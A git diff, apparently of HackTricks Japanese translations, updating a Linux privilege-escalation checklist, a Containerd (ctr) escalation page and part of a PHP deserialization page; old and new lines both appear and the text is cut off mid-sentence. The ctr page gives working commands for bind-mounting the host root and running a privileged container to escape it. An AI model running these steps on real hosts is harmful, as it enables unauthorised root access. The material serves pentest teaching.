* [ ] 興味深い**プロセスのメモリを読む**ことができるか?(パスワードが保存されている可能性がある)
|
||||
- [ ] **不明なソフトウェアが実行中**か?
|
||||
- [ ] **必要以上の権限で実行されているソフトウェア**があるか?
|
||||
- [ ] 実行中のプロセスの **脆弱性を検索**する(特に実行中のバージョン)
|
||||
- [ ] 実行中のプロセスのバイナリを **変更**できるか?
|
||||
- [ ] プロセスを **監視**し、頻繁に実行されている興味深いプロセスがあるかどうかを確認する
|
||||
- [ ] 興味深い **プロセスメモリ**(パスワードが保存されている可能性のある場所)を **読み取る**ことができるか?
|
||||
|
||||
### [スケジュールされた/クロンジョブは?](privilege-escalation/#scheduled-jobs)
|
||||
### [スケジュールされた/Cronジョブ?](privilege-escalation/#scheduled-jobs)
|
||||
|
||||
* [ ] クロンによって[**PATH** ](privilege-escalation/#cron-path)が変更されていて、あなたが**書き込み**ができるか?
|
||||
* [ ] クロンジョブに[**ワイルドカード** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)はあるか?
|
||||
* [ ] 何か[**変更可能なスクリプト** ](privilege-escalation/#cron-script-overwriting-and-symlink)が**実行されている**、または**変更可能なフォルダー**の中にあるか?
|
||||
* [ ] 何かの**スクリプト**が[**非常に頻繁に**実行されている](privilege-escalation/#frequent-cron-jobs)ことを検出したか?(1、2、5分ごと)
|
||||
- [ ] いくつかの cron によって **PATH** が変更され、書き込み可能になっているか?
|
||||
- [ ] cron ジョブに **ワイルドカード** があるか?
|
||||
- [ ] 実行されている **変更可能なスクリプト** があるか、または **変更可能なフォルダ** の中にあるか?
|
||||
- [ ] いくつかの **スクリプト** が非常に **頻繁に実行**されていることが検出されたか?(1分、2分、5分ごと)
|
||||
|
||||
### [サービス](privilege-escalation/#services)
|
||||
|
||||
* [ ] どんな**書き込み可能な.service**ファイルはあるか?
|
||||
* [ ] サービスによって実行される**書き込み可能なバイナリ**はあるか?
|
||||
* [ ] systemd PATH内の**書き込み可能なフォルダー**はあるか?
|
||||
- [ ] **書き込み可能な .service** ファイルはあるか?
|
||||
- [ ] **サービス** によって実行される **書き込み可能なバイナリ** はあるか?
|
||||
- [ ] systemd PATH に **書き込み可能なフォルダ** はあるか?
|
||||
|
||||
### [タイマー](privilege-escalation/#timers)
|
||||
|
||||
* [ ] どんな**書き込み可能なタイマー**はあるか?
|
||||
- [ ] **書き込み可能なタイマー** はあるか?
|
||||
|
||||
### [ソケット](privilege-escalation/#sockets)
|
||||
|
||||
* [ ] どんな**書き込み可能な.socket**ファイルはあるか?
|
||||
* [ ] どんなソケットとも**通信できるか**?
|
||||
* [ ] 興味深い情報を持つ**HTTPソケット**はあるか?
|
||||
- [ ] **書き込み可能な .socket** ファイルはあるか?
|
||||
- [ ] 任意のソケットと **通信**できるか?
|
||||
- [ ] 興味深い情報を持つ **HTTPソケット** はあるか?
|
||||
|
||||
### [D-Bus](privilege-escalation/#d-bus)
|
||||
|
||||
* [ ] どんなD-Busとも**通信できるか**?
|
||||
- [ ] 任意の **D-Bus** と **通信**できるか?
|
||||
|
||||
### [ネットワーク](privilege-escalation/#network)
|
||||
|
||||
* [ ] ネットワークを列挙して、自分がどこにいるかを知る
|
||||
* [ ] マシン内にシェルを取得する前にアクセスできなかった**オープンポート**はあるか?
|
||||
* [ ] `tcpdump`を使用して**トラフィックを嗅ぐ**ことができるか?
|
||||
- ネットワークを列挙して、自分がどこにいるかを知る
|
||||
- シェルを取得する前にアクセスできなかった **オープンポート** はあるか?
|
||||
- `tcpdump` を使用して **トラフィックをスニッフ** できるか?
|
||||
|
||||
### [ユーザー](privilege-escalation/#users)
|
||||
|
||||
* [ ] 一般的なユーザー/グループの**列挙**
|
||||
* [ ] **非常に大きなUID**を持っているか?**マシン**は**脆弱**か?
|
||||
* [ ] 所属しているグループのおかげで[**権限を昇格させることができるか**](privilege-escalation/interesting-groups-linux-pe/)?
|
||||
* [ ] **クリップボード**のデータは?
|
||||
* [ ] パスワードポリシーは?
|
||||
* [ ] 以前に発見したすべての**既知のパスワード**を使用して、可能な**各ユーザー**でログインを**試みる**。パスワードなしでのログインも試みる。
|
||||
- 一般的なユーザー/グループを **列挙** する
|
||||
- **非常に大きなUID** を持っているか? **マシン** は **脆弱** か?
|
||||
- 所属しているグループを通じて特権を昇格できるか?
|
||||
- **クリップボード** データは?
|
||||
- パスワードポリシーは?
|
||||
- 以前に発見した **すべての既知のパスワード** を使用して、各 **可能なユーザー** でログインしてみる。パスワードなしでもログインできるかも試してみる。
|
||||
|
||||
### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses)
|
||||
|
||||
* [ ] PATHの中のいくつかのフォルダーに**書き込み権限がある**場合、権限を昇格させることができるかもしれない
|
||||
- **PATH内のいくつかのフォルダに書き込み権限** がある場合、特権を昇格できるかもしれない
|
||||
|
||||
### [SUDOとSUIDコマンド](privilege-escalation/#sudo-and-suid)
|
||||
|
||||
* [ ] **任意のコマンドをsudoで実行**できるか?rootとしてREAD、WRITE、またはEXECUTEを使用できるか?([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] どんな**利用可能なSUIDバイナリ**はあるか?([**GTFOBins**](https://gtfobins.github.io))
|
||||
* [ ] [**sudo**コマンドは**パス**によって**制限されている**か?制限を**バイパス**できるか](privilege-escalation/#sudo-execution-bypassing-paths)?
|
||||
* [ ] [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
|
||||
* [ ] [**パスを指定するSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path)?バイパス
|
||||
* [ ] [**LD\_PRELOADの脆弱性**](privilege-escalation/#ld\_preload)
|
||||
* [ ] [**SUIDバイナリで.soライブラリが不足している**](privilege-escalation/#suid-binary-so-injection) 書き込み可能なフォルダーから?
|
||||
* [ ] [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)か?[**SUDOトークンを作成できるか**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
* [ ] [**sudoersファイルを読み取りまたは変更できるか**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
|
||||
* [ ] [**/etc/ld.so.conf.d/を変更できるか**](privilege-escalation/#etc-ld-so-conf-d)?
|
||||
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド
|
||||
- **sudoで任意のコマンドを実行**できるか?それを使用して何かをルートとして **読み取り、書き込み、実行** できるか?([**GTFOBins**](https://gtfobins.github.io))
|
||||
- **悪用可能なSUIDバイナリ** はあるか?([**GTFOBins**](https://gtfobins.github.io))
|
||||
- **sudoコマンドがパスによって制限**されているか? 制限を **バイパス** できるか?
|
||||
- **パスが指定されていないSudo/SUIDバイナリ** はあるか?([**詳細はこちら**](privilege-escalation/#sudo-command-suid-binary-without-command-path))
|
||||
- **パスが指定されたSUIDバイナリ** はあるか? バイパスできるか?
|
||||
- **LD\_PRELOAD脆弱性** はあるか?([**詳細はこちら**](privilege-escalation/#ld\_preload))
|
||||
- 書き込み可能なフォルダからの **SUIDバイナリにおける.soライブラリの不足** はあるか?([**詳細はこちら**](privilege-escalation/#suid-binary-so-injection))
|
||||
- **SUDOトークンが利用可能** か? [**SUDOトークンを作成**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)できるか?
|
||||
- **sudoersファイルを読み取るか変更** できるか?([**詳細はこちら**](privilege-escalation/#etc-sudoers-etc-sudoers-d))
|
||||
- **/etc/ld.so.conf.d/** を **変更** できるか?([**詳細はこちら**](privilege-escalation/#etc-ld-so-conf-d))
|
||||
- **OpenBSD DOAS** コマンド
|
||||
|
||||
### [機能](privilege-escalation/#capabilities)
|
||||
|
||||
* [ ] どんなバイナリにも**予期しない機能**はあるか?
|
||||
- 任意のバイナリに **予期しない機能** があるか?
|
||||
|
||||
### [ACL](privilege-escalation/#acls)
|
||||
|
||||
* [ ] どんなファイルにも**予期しないACL**はあるか?
|
||||
- 任意のファイルに **予期しないACL** があるか?
|
||||
|
||||
### [オープンシェルセッション](privilege-escalation/#open-shell-sessions)
|
||||
|
||||
* [ ] **screen**
|
||||
* [ ] **tmux**
|
||||
- **screen**
|
||||
- **tmux**
|
||||
|
||||
### [SSH](privilege-escalation/#ssh)
|
||||
|
||||
* [ ] **Debian** [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
* [ ] [**SSHの興味深い設定値**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
- **Debian** の [**OpenSSL Predictable PRNG - CVE-2008-0166**](privilege-escalation/#debian-openssl-predictable-prng-cve-2008-0166)
|
||||
- [**SSHの興味深い構成値**](privilege-escalation/#ssh-interesting-configuration-values)
|
||||
|
||||
### [興味深いファイル](privilege-escalation/#interesting-files)
|
||||
|
||||
* [ ] **プロファイルファイル** - 機密データを読む?privescに書き込む?
|
||||
* [ ] **passwd/shadowファイル** - 機密データを読む?privescに書き込む?
|
||||
* [ ] 機密データのために**一般的に興味深いフォルダー**をチェックする
|
||||
* [ ] **変わった場所/所有されたファイル**、実行可能なファイルにアクセスしたり変更したりできるかもしれない
|
||||
* [ ] 最後の数分で**変更された**
|
||||
* [ ] **Sqlite DBファイル**
|
||||
* [ ] **隠しファイル**
|
||||
* [ ] **PATH内のスクリプト/バイナリ**
|
||||
* [ ] **Webファイル**(パスワード?)
|
||||
* [ ] **バックアップ**は?
|
||||
* [ ] **パスワードが含まれている既知のファイル**: **Linpeas**と**LaZagne**を使用する
|
||||
* [ ] **一般的な検索**
|
||||
- **プロファイルファイル** - 機密データを読み取る? 特権昇格に書き込む?
|
||||
- **passwd/shadowファイル** - 機密データを読み取る? 特権昇格に書き込む?
|
||||
- 機密データが含まれる可能性のある **一般的に興味深いフォルダ** をチェックする
|
||||
- **奇妙な場所/所有ファイル**、アクセス権があるか、実行可能ファイルを変更できるか
|
||||
- **最後の数分で変更**されたファイル
|
||||
- **Sqlite DBファイル**
|
||||
- **隠しファイル**
|
||||
- **PATH内のスクリプト/バイナリ**
|
||||
- **Webファイル**(パスワード?)
|
||||
- **バックアップ**?
|
||||
- **パスワードを含む既知のファイル**:**Linpeas** と **LaZagne** を使用
|
||||
- **一般的な検索**
|
||||
|
||||
### [**書き込み可能なファイル**](privilege-escalation/#writable-files)
|
||||
|
||||
* [ ] **pythonライブラリを変更**して任意のコマンドを実行できるか?
|
||||
* [ ] **ログファイルを変更**できるか?**Logtotten**の脆弱性
|
||||
* [ ] **/etc/sysconfig/network-scripts/**を変更できるか?Centos/Redhatの脆弱性
|
||||
* [ ] [**ini、int.d、systemd、またはrc.dファイルに書き込む**](privilege-escalation/#init-init-d-systemd-and-rc-d)ことができるか?
|
||||
- **Pythonライブラリを変更**して任意のコマンドを実行できるか?
|
||||
- **ログファイルを変更**できるか? **Logtotten** exploit
|
||||
- **/etc/sysconfig/network-scripts/** を変更できるか? Centos/Redhat exploit
|
||||
- **ini、int.d、systemd、rc.dファイルに書き込む**ことができるか?([**詳細はこちら**](privilege-escalation/#init-init-d-systemd-and-rc-d))
|
||||
|
||||
### [**その他のトリック**](privilege-escalation/#other-tricks)
|
||||
|
||||
* [ ] [**NFSを悪用して権限を昇格させることができるか**](privilege-escalation/#nfs-privilege-escalation)?
|
||||
* [ ] [**制限されたシェルから脱出する必要があるか**](privilege-escalation/#escaping-from-restricted-shells)?
|
||||
- 特権昇格するために **NFSを悪用** できるか?
|
||||
- **制限的なシェルから脱出**する必要があるか?([**詳細はこちら**](privilege-escalation/#escaping-from-restricted-shells))
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
|
||||
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取ろう!
|
||||
|
||||
**ハッキングの洞察**\
|
||||
ハッキングのスリルと挑戦に焦点を当てたコンテンツに参加する
|
||||
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加
|
||||
|
||||
**リアルタイムハックニュース**\
|
||||
リアルタイムのニュースと洞察を通じて、速い
|
||||
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保つ
|
||||
|
||||
**最新のアナウンス**\
|
||||
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握
|
||||
|
||||
**Discord** で [**参加**](https://discord.com/invite/N3FrSbmwdy) し、今日からトップハッカーと協力し始めよう!
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでのAWSハッキングを学ぶ**!</summary>
|
||||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣
|
||||
|
|
|
@ -1,20 +1,22 @@
|
|||
# Containerd (ctr) 特権エスカレーション
|
||||
# Containerd (ctr) 特権昇格
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **をフォロー** してください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して **あなたのハッキングテクニックを共有** してください。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
以下のリンクに移動して、**containerd**と`ctr`の詳細を学びます:
|
||||
**containerd** と `ctr` が何かを学ぶには、以下のリンクに移動してください:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/2375-pentesting-docker.md" %}
|
||||
[2375-pentesting-docker.md](../../network-services-pentesting/2375-pentesting-docker.md)
|
||||
|
@ -22,14 +24,14 @@
|
|||
|
||||
## PE 1
|
||||
|
||||
ホストに`ctr`コマンドが含まれていることがわかった場合:
|
||||
ホストに `ctr` コマンドが含まれていることがわかった場合:
|
||||
```bash
|
||||
which ctr
|
||||
/usr/bin/ctr
|
||||
```
|
||||
以下のコマンドでイメージをリストできます:
|
||||
以下は、画像をリストアップできます:
|
||||
|
||||
```bash
|
||||
```shell
|
||||
ctr images ls
|
||||
```
|
||||
```bash
|
||||
|
@ -38,31 +40,19 @@ REF TYPE
|
|||
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
|
||||
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -
|
||||
```
|
||||
そして、**ホストのルートフォルダをマウントしているイメージのいずれかを実行します**:
|
||||
そして、**ホストのルートフォルダをマウントしているこれらのイメージの1つを実行します**:
|
||||
```bash
|
||||
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
|
||||
```
|
||||
## PE 2
|
||||
|
||||
特権を持ったコンテナを実行し、それから脱出します。\
|
||||
次のように特権を持ったコンテナを実行できます。
|
||||
特権付きコンテナを実行し、そこから脱出します。\
|
||||
次のように特権付きコンテナを実行できます:
|
||||
```bash
|
||||
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
|
||||
```
|
||||
次のページで言及されているいくつかのテクニックを使用して、特権のある機能を悪用してそれから脱出することができます:
|
||||
次のページで言及されているいくつかの技術を使用して、特権付与機能を悪用してそれから脱出することができます:
|
||||
|
||||
{% content-ref url="docker-security/" %}
|
||||
[docker-security](docker-security/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,38 +2,37 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式のPEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)に**フォローする**。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **をフォロー**してください。
|
||||
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
**シリアライゼーション**は、あるオブジェクトを後で復元できるデータ形式に変換するプロセスです。人々はしばしば、オブジェクトをストレージに保存するため、または通信の一部として送信するためにシリアライズします。
|
||||
|
||||
**デシリアライゼーション**はその逆のプロセスで、ある形式から構造化されたデータを取り、オブジェクトに再構築します。今日、データのシリアライズに最も人気のあるデータ形式はJSONです。その前はXMLでした。
|
||||
|
||||
多くの場合、サーバー側にはユーザーから提供されたオブジェクトをアンシリアライズするコードが見つかります。\
|
||||
この場合、悪意のあるペイロードを送信して、サーバー側の動作を予期せずにさせることができます。
|
||||
## 基本情報
|
||||
|
||||
**シリアライゼーション**は、オブジェクトを保存したり通信プロセスの一部として送信するための形式に変換する方法として理解されます。この技術は、オブジェクトが後で再作成され、その構造と状態が維持されることを保証するために一般的に使用されます。
|
||||
|
||||
**デシリアライゼーション**は、逆に、シリアライゼーションを解除するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築します。
|
||||
|
||||
デシリアライゼーションは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行したり、オブジェクト再構築プロセス中にアプリケーションで予期しない動作を引き起こす可能性がある**からです。
|
||||
|
||||
**攻撃方法を学ぶために読むべき:** [**https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
||||
|
||||
## PHP
|
||||
|
||||
シリアライゼーションで使用されるマジックメソッド:
|
||||
PHPでは、シリアライゼーションおよびデシリアライゼーションプロセス中に特定のマジックメソッドが使用されます:
|
||||
|
||||
* `__sleep` はオブジェクトがシリアライズされるときに呼ばれ、配列に戻される必要があります
|
||||
|
||||
デシリアライゼーションで使用されるマジックメソッド:
|
||||
|
||||
* `__wakeup` はオブジェクトがデシリアライズされるときに呼ばれます。
|
||||
* `__unserialize` は、存在する場合、`__wakeup` の代わりに呼ばれます。
|
||||
* `__destruct` はPHPスクリプトが終了し、オブジェクトが破壊されるときに呼ばれます。
|
||||
* `__toString` はオブジェクトを文字列として使用しますが、それに基づいて関数呼び出し内でファイルを読むまたはそれ以上のこともできます。
|
||||
* `__sleep`: オブジェクトがシリアライズされる際に呼び出されます。このメソッドは、シリアライズする必要があるオブジェクトのすべてのプロパティの名前の配列を返すべきです。保留中のデータを確定させたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
|
||||
* `__wakeup`: オブジェクトがデシリアライズされる際に呼び出されます。シリアライズ中に失われたデータベース接続を再確立したり、他の再初期化タスクを実行するために使用されます。
|
||||
* `__unserialize`: このメソッドは、オブジェクトがデシリアライズされる際に `__wakeup` の代わりに呼び出されます(存在する場合)。`__wakeup` と比較して、デシリアライゼーションプロセスに対するより多くの制御を提供します。
|
||||
* `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了する際に呼び出されます。ファイルハンドルを閉じたり、データベース接続を閉じたりするなどのクリーンアップタスクに通常使用されます。
|
||||
* `__toString`: このメソッドはオブジェクトを文字列として扱うことを可能にします。ファイルの読み取りや、それに基づく他のタスクを行うために使用され、効果的にオブジェクトのテキスト表現を提供します。
|
||||
```php
|
||||
<?php
|
||||
class test {
|
||||
|
@ -89,12 +88,12 @@ This is a test<br />
|
|||
*/
|
||||
?>
|
||||
```
|
||||
結果を見ると、オブジェクトがデシリアライズされたときに、関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されるとありますが、どうやらそれは**もう起こらない**ようです。
|
||||
結果を見ると、オブジェクトがデシリアライズされるときに、**`__wakeup`** 関数と **`__destruct`** 関数が呼び出されることがわかります。いくつかのチュートリアルでは、**`__toString`** 関数が属性を表示しようとするときに呼び出されると説明されていますが、**現在はそれが起こらなくなっている**ようです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
クラスに実装されている場合、`__wakeup()` の代わりにメソッド **`__unserialize(array $data)`** が呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをアンシリアライズできます。このメソッドを使用してプロパティをアンシリアライズし、デシリアライズ時に必要なタスクを実行できます。
|
||||
クラスで実装されている場合、**`__unserialize(array $data)`** メソッドが **`__wakeup()` の代わりに** 呼び出されます。これにより、シリアライズされたデータを配列として提供してオブジェクトをデシリアライズすることができます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行することができます。
|
||||
```php
|
||||
phpCopy codeclass MyClass {
|
||||
class MyClass {
|
||||
private $property;
|
||||
|
||||
public function __unserialize(array $data): void {
|
||||
|
@ -105,19 +104,19 @@ $this->property = $data['property'];
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
**PHPの例についてはこちらで説明されています**:[https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)、またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
**PHPの例はこちらで説明されています**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
|
||||
|
||||
### PHP Deserial + Autoload クラス
|
||||
### PHP Deserial + Autoload Classes
|
||||
|
||||
PHPのautoload機能を悪用して任意のphpファイルをロードし、さらに多くのことを行うことができます:
|
||||
PHPのautoload機能を悪用して、任意のPHPファイルなどを読み込むことができます:
|
||||
|
||||
{% content-ref url="php-deserialization-+-autoload-classes.md" %}
|
||||
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### 参照値のシリアライズ
|
||||
### 参照値のシリアル化
|
||||
|
||||
何らかの理由で、シリアライズされた別の値への**参照として値をシリアライズ**したい場合は、次のようにします:
|
||||
何らかの理由で、値を**他の値のシリアル化への参照としてシリアル化**したい場合があります:
|
||||
```php
|
||||
<?php
|
||||
class AClass {
|
||||
|
@ -130,16 +129,16 @@ $o->param1 =& $o->param22;
|
|||
$o->param = "PARAM";
|
||||
$ser=serialize($o);
|
||||
```
|
||||
### PHPGGC (PHPのysoserial)
|
||||
### PHPGGC (ysoserial for PHP)
|
||||
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHPのデシリアライゼーションを悪用するためのペイロードを生成するのに役立ちます。\
|
||||
アプリケーションのソースコード内でデシリアライゼーションを悪用する方法を**見つけることができない場合がいくつかありますが**、外部のPHP拡張機能のコードを**悪用することができるかもしれません。**\
|
||||
可能であれば、サーバーの`phpinfo()`をチェックし、インターネットで(**PHPGGC**の**ガジェット**にも)悪用できる可能性のあるガジェットを**検索してください。**
|
||||
[**PHPGGC**](https://github.com/ambionics/phpggc)を使用すると、PHPの逆シリアル化を悪用するペイロードを生成できます。\
|
||||
いくつかのケースでは、アプリケーションのソースコードで逆シリアル化を悪用する方法を見つけることができないかもしれませんが、**外部のPHP拡張機能のコードを悪用することができる**かもしれません。\
|
||||
